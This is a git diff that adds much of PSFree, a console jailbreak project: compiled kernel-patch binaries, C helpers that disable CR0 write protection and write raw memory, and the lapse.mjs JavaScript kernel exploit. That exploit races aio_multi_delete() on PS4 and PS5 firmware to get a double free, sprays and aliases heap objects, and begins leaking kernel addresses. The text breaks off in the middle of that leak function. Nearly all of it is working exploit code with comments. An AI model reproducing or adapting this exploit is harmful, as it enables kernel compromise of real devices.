diff --git a/psfree/kpatch/900.elf b/psfree/kpatch/900.elf
new file mode 100644
index 0000000000000000000000000000000000000000..db765a092439a265da0b31e343f118366591d261
GIT binary patch
literal 5224
zcmeHLOKTHR6h4!rN$R5+OORkhVq3unhS-e_ibQDI3)WY}2Ph0_k`mNXnT}B1l(8FQ
z2t@D)xXe-niv<^Bf|+go1%fCPs$l8PMaOd{_mVMWQE(^sz})ZLbG~yQU+yMnIXg4u
zQxp*9g9{*LgBZ;4L}OSmC^i9p977OvxdW6^yLqZ3Bdqhq1Pb1@??y3z`G*IHiHJPn
z3mkK!00N0ib{*@29d}ow=UBVqOOjMTDj*e*3P=T{0#X5~fK)&#AQg}bNCo~!1-2tc
ze&1k~?Tt%#J68F!5kh=VH@(}U9IM_|Sxt|z$~voF4YL!UBdhB3sKQn(g{6Nz-eT41
z7_+GW&`ogHtzCNtU`58+$FGTs#Ri+K_9C<6IFW?KjycYb6B)5=v(Eq7&)McXbnA6=
z)?BA;HW4@5=E=fAINLT)6WC^LZ`j?fZ7#2l!lrFz;v>M$Sgp1hJcNAPObnw|aRTBepq%Bef%N2ctZTThU4O1NJcRBrSJQh;{&!r#VoTR3*MI6sFz<^$`x^
z_X96*o^vRc!Y}GL&RZUfAx`4gKpycSJEX4oZVl0ymAL=hYvlUTe}(yP=)XbyfJp1E
zBT`8}qjLvft8czvoPI{YE{*7?xKkWZAsEIR-$A5)i#YcvkJFhcF79}W#}VAPdncNt
zQ>kPDG;R9IO)bl`socfOS&dERptztt${U3;=%qztK`+6B&J>c1Pv(vMETW-zuq-^I
zv}8cCRMzJ7{CuhFY2~6$oBg}RaS77U+dHCrihk4{N_wnk3P&+VF(2osIH7u#_pk2p
zxPZr!10U;ba_t@S4AeE$XyQZJ5b#s2gj$>^-~?s{#4_w~km
V611P!Xq$fZ_j!HVOGdx9{tq@1zxV(E

literal 0
HcmV?d00001

diff --git a/psfree/kpatch/900.o b/psfree/kpatch/900.o
new file mode 100644
index 0000000000000000000000000000000000000000..8e75a495ec5d219722e4b5e739bc20e80a5f156b
GIT binary patch
literal 1840
zcmbVM&1(};5TC96q#ub=q!`h)BDP{5NhxSWB~aTwq$ntD4<70!-5RM$%4Q>}2g}-v
zu@vIXqeqV-SnO?WF?-d&K=33KrKJ}U={mD{FWD}8>cGp){NDU#W@l%!GCnoYq$nUo
zft%3qBnt5USi??wW)ga!8}=h-{_?fiC|@`Fc=;<|yW7qOzeP5pFMAcfYAbwnx46gG
zCi}SKvCve7xlP>77XWr-n1BAEmTlg##n)dY4_r5*+Wdm+9=MTy+p#Lmwc-no^%2cV
z1&vM5s9Ia7cdFK<^hvl8|Puiv68WV;0b%XYPFuic*jy(qDm{q
zaBJ(=muBGQ*8_++))fBI^J4`wlfqKeNjKn3uoJK2`@FpWld|*jcTayJ=fO5ij*VSY
z2c}cSoLN*82{yvwLy4m2CY}!uv-rrMfH9t)D2k^A&*YtHXu>fNCdb^1Hi`1=9w?=#
z6688TQ|MOPZO^z+z27hX^Ak&GMgH
zljA;|?j)`X9Oq3lugi$ABrf~oK3u*V4`PMotf{4d6-=Y1Gtx5kk_l{HGc{nTLIIee
zKhYSW7_1q1m(FLidJc_T-qabs{~^3cFAD!ruE>^*{E}{%%Yv+D<`xVstJnKIsu4pX
zy+zu6za)k8+Yh20eBcmTmliv&NC&>*wlvBnLMsiyeqWpf5^`)M`OKJP#o`!)Tu``I#x8>hm
z%2N`2l^mbQ{w0({gF=J+H-i6A1_~YIKSn%ke!C(e7d)CDeVdXm=NDF+D1Su#cjTaS
l;R%~R $@.$$$$; \
+	sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
+	rm -f $@.$$$$;
+
+include $(src:.c=.d)
diff --git a/psfree/kpatch/script.ld b/psfree/kpatch/script.ld
new file mode 100644
index 0000000..879b98b
--- /dev/null
+++ b/psfree/kpatch/script.ld
@@ -0,0 +1,8 @@
+SECTIONS
+{
+  .text : { *(.text.start) *(.text) }
+  .rodata : { *(.rodata) }
+  .data : { *(.data) }
+  .bss : { *(.bss) }
+  /DISCARD/ : { *(.comment* .note*) }
+}
diff --git a/psfree/kpatch/types.h b/psfree/kpatch/types.h
new file mode 100644
index 0000000..bcd075a
--- /dev/null
+++ b/psfree/kpatch/types.h
@@ -0,0 +1,28 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+#pragma once
+
+typedef unsigned char u8;
+typedef unsigned short u16;
+typedef unsigned int u32;
+typedef unsigned long long u64;
+
+typedef signed char s8;
+typedef signed short s16;
+typedef signed int s32;
+typedef signed long long s64;
diff --git a/psfree/kpatch/utils.h b/psfree/kpatch/utils.h
new file mode 100644
index 0000000..0c06168
--- /dev/null
+++ b/psfree/kpatch/utils.h
@@ -0,0 +1,61 @@
+/* Copyright (C) 2024 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+#pragma once
+
+#include 
+
+#include "types.h"
+
+inline u64 rdmsr(u32 msr) {
+    u32 low, high;
+
+    asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
+    return (low | ((u64)high << 32));
+}
+
+inline void enable_cr0_wp(void) {
+    asm(
+        "mov rax, cr0\n"
+        "or rax, 0x10000\n"
+        "mov cr0, rax\n"
+    ::: "rax");
+}
+
+inline void disable_cr0_wp(void) {
+    asm(
+        "mov rax, cr0\n"
+        "and rax, ~0x10000\n"
+        "mov cr0, rax\n"
+    ::: "rax");
+}
+
+inline void write8(void *addr, size_t offset, u8 value) {
+    *(u8 *)(addr + offset) = value;
+}
+
+inline void write16(void *addr, size_t offset, u16 value) {
+    *(u16 *)(addr + offset) = value;
+}
+
+inline void write32(void *addr, size_t offset, u32 value) {
+    *(u32 *)(addr + offset) = value;
+}
+
+inline void write64(void *addr, size_t offset, u64 value) {
+    *(u64 *)(addr + offset) = value;
+}
diff --git a/psfree/lapse.mjs b/psfree/lapse.mjs
new file mode 100644
index 0000000..1197518
--- /dev/null
+++ b/psfree/lapse.mjs
@@ -0,0 +1,1844 @@
+/* Copyright (C) 2025 anonymous
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see .  */
+
+// Lapse is a kernel exploit for PS4 [5.00, 12.50) and PS5 [1.00-10.20). It
+// takes advantage of a bug in aio_multi_delete(). Take a look at the comment
+// at the race_one() function here for a brief summary.
+
+// debug comment legend:
+// * PANIC - code will make the system vulnerable to a kernel panic or it will
+//   perform a operation that might panic
+// * RESTORE - code will repair kernel panic vulnerability
+// * MEMLEAK - memory leaks that our code will induce
+
+import { Int } from './module/int64.mjs';
+import { mem } from './module/mem.mjs';
+import { log, die, hex, hexdump } from './module/utils.mjs';
+import { cstr, jstr } from './module/memtools.mjs';
+import { page_size, context_size } from './module/offset.mjs';
+import { Chain } from './module/chain.mjs';
+
+import {
+    View1, View2, View4,
+    Word, Long, Pointer,
+    Buffer,
+} from './module/view.mjs';
+
+import * as rop from './module/chain.mjs';
+import * as config from './config.mjs';
+
+const t1 = performance.now();
+
+// check if we are running on a supported firmware version
+const [is_ps4, version] = (() => {
+    const value = config.target;
+    const is_ps4 = (value & 0x10000) === 0;
+    const version = value & 0xffff;
+    const [lower, upper] = (() => {
+        if (is_ps4) {
+            return [0x100, 0x1250];
+        } else {
+            return [0x100, 0x1020];
+        }
+    })();
+
+    if (!(lower <= version && version < upper)) {
+        throw RangeError(`invalid config.target: ${hex(value)}`);
+    }
+
+    return [is_ps4, version];
+})();
+
+// sys/socket.h
+const AF_UNIX = 1;
+const AF_INET = 2;
+const AF_INET6 = 28;
+const SOCK_STREAM = 1;
+const SOCK_DGRAM = 2;
+const SOL_SOCKET = 0xffff;
+const SO_REUSEADDR = 4;
+const SO_LINGER = 0x80;
+
+// netinet/in.h
+const IPPROTO_TCP = 6;
+const IPPROTO_UDP = 17;
+const IPPROTO_IPV6 = 41;
+
+// netinet/tcp.h
+const TCP_INFO = 0x20;
+const size_tcp_info = 0xec;
+
+// netinet/tcp_fsm.h
+const TCPS_ESTABLISHED = 4;
+
+// netinet6/in6.h
+const IPV6_2292PKTOPTIONS = 25;
+const IPV6_PKTINFO = 46;
+const IPV6_NEXTHOP = 48;
+const IPV6_RTHDR = 51;
+const IPV6_TCLASS = 61;
+
+// sys/cpuset.h
+const CPU_LEVEL_WHICH = 3;
+const CPU_WHICH_TID = 1;
+
+// sys/mman.h
+const MAP_SHARED = 1;
+const MAP_FIXED = 0x10;
+
+// sys/rtprio.h
+const RTP_SET = 1;
+const RTP_PRIO_REALTIME = 2;
+
+// SceAIO has 2 SceFsstAIO workers for each SceAIO Parameter. each Parameter
+// has 3 queue groups: 4 main queues, 4 wait queues, and one unused queue
+// group. queue 0 of each group is currently unused. queue 1 has the lowest
+// priority and queue 3 has the highest
+//
+// the SceFsstAIO workers will process entries at the main queues. they will
+// refill the main queues from the corresponding wait queues each time they
+// dequeue a request (e.g. fill the  low priority main queue from the low
+// priority wait queue)
+//
+// entries on the wait queue will always have a 0 ticket number. they will
+// get assigned a nonzero ticket number once they get put on the main queue
+const AIO_CMD_READ = 1;
+const AIO_CMD_WRITE = 2;
+const AIO_CMD_FLAG_MULTI = 0x1000;
+const AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ;
+const AIO_STATE_COMPLETE = 3;
+const AIO_STATE_ABORTED = 4;
+const num_workers = 2;
+// max number of requests that can be created/polled/canceled/deleted/waited
+const max_aio_ids = 0x80;
+
+// highest priority we can achieve given our credentials
+const rtprio = View2.of(RTP_PRIO_REALTIME, 0x100);
+
+// CONFIG CONSTANTS
+const main_core = 7;
+const num_grooms = 0x200;
+const num_handles = 0x100;
+const num_sds = 0x100; // max is 0x100 due to max IPV6_TCLASS
+const num_alias = 10;
+const num_races = 100;
+const leak_len = 16;
+const num_leaks = 5;
+const num_clobbers = 8;
+
+let chain = null;
+var nogc = [];
+
+async function init() {
+    await rop.init();
+    chain = new Chain();
+
+// PS4 9.00
+const pthread_offsets = new Map(Object.entries({
+    'pthread_create' : 0x25510,
+    'pthread_join' : 0xafa0,
+    'pthread_barrier_init' : 0x273d0,
+    'pthread_barrier_wait' : 0xa320,
+    'pthread_barrier_destroy' : 0xfea0,
+    'pthread_exit' : 0x77a0,
+}));
+
+    rop.init_gadget_map(rop.gadgets, pthread_offsets, rop.libkernel_base);
+}
+
+function sys_void(...args) {
+    return chain.syscall_void(...args);
+}
+
+function sysi(...args) {
+    return chain.sysi(...args);
+}
+
+function call_nze(...args) {
+    const res = chain.call_int(...args);
+    if (res !== 0) {
+        die(`call(${args[0]}) returned nonzero: ${res}`);
+    }
+}
+
+// #define SCE_KERNEL_AIO_STATE_NOTIFIED       0x10000
+//
+// #define SCE_KERNEL_AIO_STATE_SUBMITTED      1
+// #define SCE_KERNEL_AIO_STATE_PROCESSING     2
+// #define SCE_KERNEL_AIO_STATE_COMPLETED      3
+// #define SCE_KERNEL_AIO_STATE_ABORTED        4
+//
+// typedef struct SceKernelAioResult {
+//     // errno / SCE error code / number of bytes processed
+//     int64_t returnValue;
+//     // SCE_KERNEL_AIO_STATE_*
+//     uint32_t state;
+// } SceKernelAioResult;
+//
+// typedef struct SceKernelAioRWRequest {
+//     off_t offset;
+//     size_t nbyte;
+//     void *buf;
+//     struct SceKernelAioResult *result;
+//     int fd;
+// } SceKernelAioRWRequest;
+//
+// typedef int SceKernelAioSubmitId;
+//
+// // SceAIO submit commands
+// #define SCE_KERNEL_AIO_CMD_READ     0x001
+// #define SCE_KERNEL_AIO_CMD_WRITE    0x002
+// #define SCE_KERNEL_AIO_CMD_MASK     0xfff
+// // SceAIO submit command flags
+// #define SCE_KERNEL_AIO_CMD_MULTI 0x1000
+//
+// #define SCE_KERNEL_AIO_PRIORITY_LOW     1
+// #define SCE_KERNEL_AIO_PRIORITY_MID     2
+// #define SCE_KERNEL_AIO_PRIORITY_HIGH    3
+//
+// int
+// aio_submit_cmd(
+//     u_int cmd,
+//     SceKernelAioRWRequest reqs[],
+//     u_int num_reqs,
+//     u_int prio,
+//     SceKernelAioSubmitId ids[]
+// );
+function aio_submit_cmd(cmd, requests, num_requests, handles) {
+    sysi('aio_submit_cmd', cmd, requests, num_requests, 3, handles);
+}
+
+// the various SceAIO syscalls that copies out errors/states will not check if
+// the address is NULL and will return EFAULT. this dummy buffer will serve as
+// the default argument so users don't need to specify one
+const _aio_errors = new View4(max_aio_ids);
+const _aio_errors_p = _aio_errors.addr;
+
+// int
+// aio_multi_delete(
+//     SceKernelAioSubmitId ids[],
+//     u_int num_ids,
+//     int sce_errors[]
+// );
+function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) {
+    sysi('aio_multi_delete', ids, num_ids, sce_errs);
+}
+
+// int
+// aio_multi_poll(
+//     SceKernelAioSubmitId ids[],
+//     u_int num_ids,
+//     int states[]
+// );
+function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) {
+    sysi('aio_multi_poll', ids, num_ids, sce_errs);
+}
+
+// int
+// aio_multi_cancel(
+//     SceKernelAioSubmitId ids[],
+//     u_int num_ids,
+//     int states[]
+// );
+function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) {
+    sysi('aio_multi_cancel', ids, num_ids, sce_errs);
+}
+
+// // wait for all (AND) or atleast one (OR) to finish
+// // DEFAULT is the same as AND
+// #define SCE_KERNEL_AIO_WAIT_DEFAULT 0x00
+// #define SCE_KERNEL_AIO_WAIT_AND     0x01
+// #define SCE_KERNEL_AIO_WAIT_OR      0x02
+//
+// int
+// aio_multi_wait(
+//     SceKernelAioSubmitId ids[],
+//     u_int num_ids,
+//     int states[],
+//     // SCE_KERNEL_AIO_WAIT_*
+//     uint32_t mode,
+//     useconds_t *timeout
+// );
+function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) {
+    sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0);
+}
+
+function make_reqs1(num_reqs) {
+    const reqs1 = new Buffer(0x28 * num_reqs);
+    for (let i = 0; i < num_reqs; i++) {
+        // .fd = -1
+        reqs1.write32(0x20 + i*0x28, -1);
+    }
+    return reqs1;
+}
+
+function spray_aio(
+    loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ,
+) {
+    const step = 4 * (multi ? num_reqs : 1);
+    cmd |= multi ? AIO_CMD_FLAG_MULTI : 0;
+    for (let i = 0, idx = 0; i < loops; i++) {
+        aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx));
+        idx += step;
+    }
+}
+
+function poll_aio(ids, states, num_ids=ids.length) {
+    if (states !== undefined) {
+        states = states.addr;
+    }
+    aio_multi_poll(ids.addr, num_ids, states);
+}
+
+function cancel_aios(ids_p, num_ids) {
+    const len = max_aio_ids;
+    const rem = num_ids % len;
+    const num_batches = (num_ids - rem) / len;
+    for (let bi = 0; bi < num_batches; bi++) {
+        aio_multi_cancel(ids_p.add((bi << 2) * len), len);
+    }
+    if (rem) {
+        aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem);
+    }
+}
+
+function free_aios(ids_p, num_ids) {
+    const len = max_aio_ids;
+    const rem = num_ids % len;
+    const num_batches = (num_ids - rem) / len;
+    for (let bi = 0; bi < num_batches; bi++) {
+        const addr = ids_p.add((bi << 2) * len);
+        aio_multi_cancel(addr, len);
+        aio_multi_poll(addr, len);
+        aio_multi_delete(addr, len);
+    }
+    if (rem) {
+        const addr = ids_p.add((num_batches << 2) * len);
+        aio_multi_cancel(addr, len);
+        aio_multi_poll(addr, len);
+        aio_multi_delete(addr, len);
+    }
+}
+
+function free_aios2(ids_p, num_ids) {
+    const len = max_aio_ids;
+    const rem = num_ids % len;
+    const num_batches = (num_ids - rem) / len;
+    for (let bi = 0; bi < num_batches; bi++) {
+        const addr = ids_p.add((bi << 2) * len);
+        aio_multi_poll(addr, len);
+        aio_multi_delete(addr, len);
+    }
+    if (rem) {
+        const addr = ids_p.add((num_batches << 2) * len);
+        aio_multi_poll(addr, len);
+        aio_multi_delete(addr, len);
+    }
+}
+
+function get_our_affinity(mask) {
+    sysi(
+        'cpuset_getaffinity',
+        CPU_LEVEL_WHICH,
+        CPU_WHICH_TID,
+        -1,
+        8,
+        mask.addr,
+    );
+}
+
+function set_our_affinity(mask) {
+    sysi(
+        'cpuset_setaffinity',
+        CPU_LEVEL_WHICH,
+        CPU_WHICH_TID,
+        -1,
+        8,
+        mask.addr,
+    );
+}
+
+function close(fd) {
+    sysi('close', fd);
+}
+
+function new_socket() {
+    return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
+}
+
+function new_tcp_socket() {
+    return sysi('socket', AF_INET, SOCK_STREAM, 0);
+}
+
+function gsockopt(sd, level, optname, optval, optlen) {
+    const size = new Word(optval.size);
+    if (optlen !== undefined) {
+        size[0] = optlen;
+    }
+
+    sysi('getsockopt', sd, level, optname, optval.addr, size.addr);
+    return size[0];
+}
+
+function setsockopt(sd, level, optname, optval, optlen) {
+    sysi('setsockopt', sd, level, optname, optval, optlen);
+}
+
+function ssockopt(sd, level, optname, optval, optlen) {
+    if (optlen === undefined) {
+        optlen = optval.size;
+    }
+
+    const addr = optval.addr;
+    setsockopt(sd, level, optname, addr, optlen);
+}
+
+function get_rthdr(sd, buf, len) {
+    return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
+}
+
+function set_rthdr(sd, buf, len) {
+    ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
+}
+
+function free_rthdrs(sds) {
+    for (const sd of sds) {
+        setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
+    }
+}
+
+function build_rthdr(buf, size) {
+    const len = ((size >> 3) - 1) & ~1;
+    size = (len + 1) << 3;
+
+    buf[0] = 0;
+    buf[1] = len;
+    buf[2] = 0;
+    buf[3] = len >> 1;
+
+    return size;
+}
+
+function spawn_thread(thread) {
+    const ctx = new Buffer(context_size);
+    const pthread = new Pointer();
+    pthread.ctx = ctx;
+    // pivot the pthread's stack pointer to our stack
+    ctx.write64(0x38, thread.stack_addr);
+    ctx.write64(0x80, thread.get_gadget('ret'));
+
+    call_nze(
+        'pthread_create',
+        pthread.addr,
+        0,
+        chain.get_gadget('setcontext'),
+        ctx.addr,
+    );
+
+    return pthread;
+}
+
+// EXPLOIT STAGES IMPLEMENTATION
+
+// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE
+
+function make_aliased_rthdrs(sds) {
+    const marker_offset = 4;
+    const size = 0x80;
+    const buf = new Buffer(size);
+    const rsize = build_rthdr(buf, size);
+
+    for (let loop = 0; loop < num_alias; loop++) {
+        for (let i = 0; i < num_sds; i++) {
+            buf.write32(marker_offset, i);
+            set_rthdr(sds[i], buf, rsize);
+        }
+
+        for (let i = 0; i < sds.length; i++) {
+            get_rthdr(sds[i], buf);
+            const marker = buf.read32(marker_offset);
+            if (marker !== i) {
+                log(`aliased rthdrs at attempt: ${loop}`);
+                const pair = [sds[i], sds[marker]];
+                log(`found pair: ${pair}`);
+                sds.splice(marker, 1);
+                sds.splice(i, 1);
+                free_rthdrs(sds);
+                sds.push(new_socket(), new_socket());
+                return pair;
+            }
+        }
+    }
+    die(`failed to make aliased rthdrs. size: ${hex(size)}`);
+}
+
+// summary of the bug at aio_multi_delete():
+//
+// void
+// free_queue_entry(struct aio_entry *reqs2)
+// {
+//     if (reqs2->ar2_spinfo != NULL) {
+//         printf(
+//             "[0]%s() line=%d Warning !! split info is here\n",
+//             __func__,
+//             __LINE__
+//         );
+//     }
+//     if (reqs2->ar2_file != NULL) {
+//         // we can potentially delay .fo_close()
+//         fdrop(reqs2->ar2_file, curthread);
+//         reqs2->ar2_file = NULL;
+//     }
+//     free(reqs2, M_AIO_REQS2);
+// }
+//
+// int
+// _aio_multi_delete(
+//     struct thread *td,
+//     SceKernelAioSubmitId ids[],
+//     u_int num_ids,
+//     int sce_errors[])
+// {
+//     // ...
+//     struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry);
+//     // ...
+//     u_int rem_ids = obj->ao_rem_ids;
+//     if (rem_ids != 1) {
+//         // BUG: wlock not acquired on this path
+//         obj->ao_rem_ids = --rem_ids;
+//         // ...
+//         free_queue_entry(obj->ao_entries[req_idx]);
+//         // the race can crash because of a NULL dereference since this path
+//         // doesn't check if the array slot is NULL so we delay
+//         // free_queue_entry()
+//         obj->ao_entries[req_idx] = NULL;
+//     } else {
+//         // ...
+//     }
+//     // ...
+// }
+function race_one(request_addr, tcp_sd, barrier, racer, sds) {
+    const sce_errs = new View4([-1, -1]);
+    const thr_mask = new Word(1 << main_core);
+
+    const thr = racer;
+    thr.push_syscall(
+        'cpuset_setaffinity',
+        CPU_LEVEL_WHICH,
+        CPU_WHICH_TID,
+        -1,
+        8,
+        thr_mask.addr,
+    );
+    thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr);
+    thr.push_gadget('pop rax; ret');
+    thr.push_value(1);
+    thr.push_get_retval();
+    thr.push_call('pthread_barrier_wait', barrier.addr);
+    thr.push_syscall(
+        'aio_multi_delete',
+        request_addr,
+        1,
+        sce_errs.addr_at(1),
+    );
+    thr.push_call('pthread_exit', 0);
+
+    const pthr = spawn_thread(thr);
+    const thr_tid = pthr.read32(0);
+
+    // pthread barrier implementation:
+    //
+    // given a barrier that needs N threads for it to be unlocked, a thread
+    // will sleep if it waits on the barrier and N - 1 threads havent't arrived
+    // before
+    //
+    // if there were already N - 1 threads then that thread (last waiter) won't
+    // sleep and it will send out a wake-up call to the waiting threads
+    //
+    // since the ps4's cores only have 1 hardware thread each, we can pin 2
+    // threads on the same core and control the interleaving of their
+    // executions via controlled context switches
+
+    // wait for the worker to enter the barrier and sleep
+    while (thr.retval_int === 0) {
+        sys_void('sched_yield');
+    }
+
+    // enter the barrier as the last waiter
+    chain.push_call('pthread_barrier_wait', barrier.addr);
+    // yield and hope the scheduler runs the worker next. the worker will then
+    // sleep at soclose() and hopefully we run next
+    chain.push_syscall('sched_yield');
+    // if we get here and the worker hasn't been reran then we can delay the
+    // worker's execution of soclose() indefinitely
+    chain.push_syscall('thr_suspend_ucontext', thr_tid);
+    chain.push_get_retval();
+    chain.push_get_errno();
+    chain.push_end();
+    chain.run();
+    chain.reset();
+
+    const main_res = chain.retval_int;
+    log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`);
+
+    if (main_res === -1) {
+        call_nze('pthread_join', pthr, 0);
+        log();
+        return null;
+    }
+
+    let won_race = false;
+    try {
+        const poll_err = new View4(1);
+        aio_multi_poll(request_addr, 1, poll_err.addr);
+        log(`poll: ${hex(poll_err[0])}`);
+
+        const info_buf = new View1(size_tcp_info);
+        const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf);
+        log(`info size: ${hex(info_size)}`);
+
+        if (info_size !== size_tcp_info) {
+            die(`info size isn't ${size_tcp_info}: ${info_size}`);
+        }
+
+        const tcp_state = info_buf[0];
+        log(`tcp_state: ${tcp_state}`);
+
+        const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
+        if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH
+            && tcp_state !== TCPS_ESTABLISHED
+        ) {
+            // PANIC: double free on the 0x80 malloc zone. important kernel
+            // data may alias
+            aio_multi_delete(request_addr, 1, sce_errs.addr);
+            won_race = true;
+        }
+    } finally {
+        log('resume thread\n');
+        sysi('thr_resume_ucontext', thr_tid);
+        call_nze('pthread_join', pthr, 0);
+    }
+
+    if (won_race) {
+        log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
+        // if the code has no bugs then this isn't possible but we keep the
+        // check for easier debugging
+        if (sce_errs[0] !== sce_errs[1]) {
+            log('ERROR: bad won_race');
+            die('ERROR: bad won_race');
+        }
+        // RESTORE: double freed memory has been reclaimed with harmless data
+        // PANIC: 0x80 malloc zone pointers aliased
+        return make_aliased_rthdrs(sds);
+    }
+
+    return null;
+}
+
+function double_free_reqs2(sds) {
+    function swap_bytes(x, byte_length) {
+        let res = 0;
+        for (let i = 0; i < byte_length; i++) {
+            res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1);
+        }
+
+        return res >>> 0;
+    }
+
+    function htons(x) {
+        return swap_bytes(x, 2);
+    }
+
+    function htonl(x) {
+        return swap_bytes(x, 4);
+    }
+
+    const server_addr = new Buffer(16);
+    // sockaddr_in.sin_family
+    server_addr[1] = AF_INET;
+    // sockaddr_in.sin_port
+    server_addr.write16(2, htons(5050));
+    // sockaddr_in.sin_addr = 127.0.0.1
+    server_addr.write32(4, htonl(0x7f000001));
+
+    const racer = new Chain();
+    const barrier = new Long();
+    call_nze('pthread_barrier_init', barrier.addr, 0, 2);
+
+    const num_reqs = 3;
+    const which_req = num_reqs - 1;
+    const reqs1 = make_reqs1(num_reqs);
+    const reqs1_p = reqs1.addr;
+    const aio_ids = new View4(num_reqs);
+    const aio_ids_p = aio_ids.addr;
+    const req_addr = aio_ids.addr_at(which_req);
+    const cmd = AIO_CMD_MULTI_READ;
+
+    const sd_listen = new_tcp_socket();
+    ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1));
+
+    sysi('bind', sd_listen, server_addr.addr, server_addr.size);
+    sysi('listen', sd_listen, 1);
+
+    for (let i = 0; i < num_races; i++) {
+        const sd_client = new_tcp_socket();
+        sysi('connect', sd_client, server_addr.addr, server_addr.size);
+
+        const sd_conn = sysi('accept', sd_listen, 0, 0);
+        // force soclose() to sleep
+        ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1));
+        reqs1.write32(0x20 + which_req*0x28, sd_client);
+
+        aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p);
+        aio_multi_cancel(aio_ids_p, num_reqs);
+        aio_multi_poll(aio_ids_p, num_reqs);
+
+        // drop the reference so that aio_multi_delete() will trigger _fdrop()
+        close(sd_client);
+
+        const res = race_one(req_addr, sd_conn, barrier, racer, sds);
+        racer.reset();
+
+        // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented
+        // twice. this will leave one request undeleted
+        aio_multi_delete(aio_ids_p, num_reqs);
+        close(sd_conn);
+
+        if (res !== null) {
+            log(`won race at attempt: ${i}`);
+            close(sd_listen);
+            call_nze('pthread_barrier_destroy', barrier.addr);
+            return res;
+        }
+    }
+
+    die('failed aio double free');
+}
+
+// FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS
+
+function new_evf(flags) {
+    const name = cstr('');
+    // int evf_create(char *name, uint32_t attributes, uint64_t flags)
+    return sysi('evf_create', name.addr, 0, flags);
+}
+
+function set_evf_flags(id, flags) {
+    sysi('evf_clear', id, 0);
+    sysi('evf_set', id, flags);
+}
+
+function free_evf(id) {
+    sysi('evf_delete', id);
+}
+
+function verify_reqs2(buf, offset) {
+    // reqs2.ar2_cmd
+    if (buf.read32(offset) !== AIO_CMD_WRITE) {
+        return false;
+    }
+
+    // heap addresses are prefixed with 0xffff_xxxx
+    // xxxx is randomized on boot
+    //
+    // heap_prefixes is a array of randomized prefix bits from a group of heap
+    // address candidates. if the candidates truly are from the heap, they must
+    // share a common prefix
+    const heap_prefixes = [];
+
+    // check if offsets 0x10 to 0x20 look like a kernel heap address
+    for (let i = 0x10; i <= 0x20; i += 8) {
+        if (buf.read16(offset + i + 6) !== 0xffff) {
+            return false;
+        }
+        heap_prefixes.push(buf.read16(offset + i + 4));
+    }
+
+    // check reqs2.ar2_result.state
+    // state is actually a 32-bit value but the allocated memory was
+    // initialized with zeros. all padding bytes must be 0 then
+    let state = buf.read32(offset + 0x38);
+    if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) {
+        return false;
+    }
+
+    // reqs2.ar2_file must be NULL since we passed a bad file descriptor to
+    // aio_submit_cmd()
+    if (!buf.read64(offset + 0x40).eq(0)) {
+        return false;
+    }
+
+    // check if offsets 0x48 to 0x50 look like a kernel address
+    for (let i = 0x48; i <= 0x50; i += 8) {
+        if (buf.read16(offset + i + 6) === 0xffff) {
+            // don't push kernel ELF addresses
+            if (buf.read16(offset + i + 4) !== 0xffff) {
+                heap_prefixes.push(buf.read16(offset + i + 4));
+            }
+        // offset 0x48 can be NULL
+        } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) {
+            return false;
+        }
+    }
+
+    return heap_prefixes.every((e, i, a) => e === a[0]);
+}
+
+function leak_kernel_addrs(sd_pair) {
+    close(sd_pair[1]);
